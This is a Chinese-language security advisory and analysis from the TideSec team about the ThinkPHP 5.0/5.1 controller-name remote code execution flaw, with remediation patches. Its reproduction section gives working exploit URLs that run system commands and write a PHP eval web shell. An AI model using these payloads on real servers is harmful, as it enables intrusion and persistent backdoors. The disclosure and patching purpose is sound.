一、 漏洞背景
ThinkPHP官方发布了重要的安全更新,修复了一个重大的漏洞。本次版本更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测,会导致在没有开启强制路由的情况下引发getshell漏洞。该漏洞影响5.0和5.1版本,官方已经在最新版本中修复。
二、 漏洞概要
谁应该读这个 Thinkphp5.x的开发者和用户
漏洞的影响 可以注入恶意代码利用反射类调用命名空间其他任意内置类,完成远程代码执行。
危害程度 严重
建议 升级到官方最新版本。
受影响的软件 ThinkPHP 5.0.x < 5.0.23
ThinkPHP 5.1.x < 5.1.31
三、 搭建环境
• 安装漏洞影响范围内的ThinkPHP 5.1.x < 5.1.31版本。
四、 触发条件
检查Thinkphp5的版本号是否为受影响版本。
五、 漏洞分析
这里选择对5.0.20版本进行分析,关键函数开头。
进入self::routeCheck函数,进行路由检查
进入$request->path()函数。
进入$this->pathinfo()函数
Config::get(‘var_pathinfo’)是配置文件中的设置的参数,默认值为s,从GET中获取键值,然后赋值给routeCheck中的$path。
这里会开始进行路由检测,检查$check后会进入else分支导入路由配置,然后接着检测路由表url调度结果$result,如果调度失败并且开启了强制路由$must,就抛出异常,这就是漏洞利用条件之一,接着进入了Route::parseUrl函数,根据$path(我们可控的url)进行模块/控制器解析。
进入parseUrl函数
进入self::parseUrlPath函数,使用/对$url进行分割,未进行任何过滤。
我们来看一下pathinfo函数
由于var_pathinfo的默认配置为s,我们可利用$_GET[‘s’]来传递路由信息,也可利用pathinfo来传递,但测试时windows环境下会将$_SERVER[‘pathinfo’]中的\替换为/。结合前面分析可得初步利用代码如下:
index.php?s=index/\namespace\class/method
这将会实例化\namespace\class类并执行method方法
六、 漏洞复现
1.利用system函数远程命令执行
http://localhost/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
2. 通过phpinfo函数写出phpinfo()的信息
http://localhost/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
3. 写入shell:
http://localhost/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_GET[%22code%22])?^%3E%3Etest.php
七、 修复建议
1、更新框架修复
如果你使用composer安装,并且一直保持最新版本使用的话,使用下面的指令更新到最新版本即可
composer update topthink/framework
如果你使用了git版本库安装,也请及时更新你所用的仓库版本。
如果各种原因暂时无法更新到最新版本(早期版本升级到最新版本可能存在兼容性问题,请首先参考官方手册的升级指导章节),可以参考下面的方式进行手动修正。
2、手动修复
5.0版本
在think\App类的module方法的获取控制器的代码后面加上
if (!preg_match(‘/^[A-Za-z](\w|\.)*$/’, $controller)) {
throw new HttpException(404, ‘controller not exists:’ . $controller);
}
5.1版本
在think\route\dispatch\Url类的parseUrl方法,解析控制器后加上
if ($controller && !preg_match(‘/^[A-Za-z](\w|\.)*$/’, $controller)) {
throw new HttpException(404, ‘controller not exists:’ . $controller);
}
八、 参考链接
https://blog.thinkphp.cn/869075
关注我们
Tide安全团队正式成立于2019年1月,是以互联网攻防技术研究为目标的安全团队,目前聚集了十多位专业的安全攻防技术研究人员,专注于网络攻防、Web安全、移动终端、安全开发、IoT/物联网/工控安全等方向。
想了解更多Tide安全团队,请关注团队官网: http://www.TideSec.net 或关注公众号:
来源:freebuf.com 2019-08-15 22:43:18 by: TideSec
请登录后发表评论
注册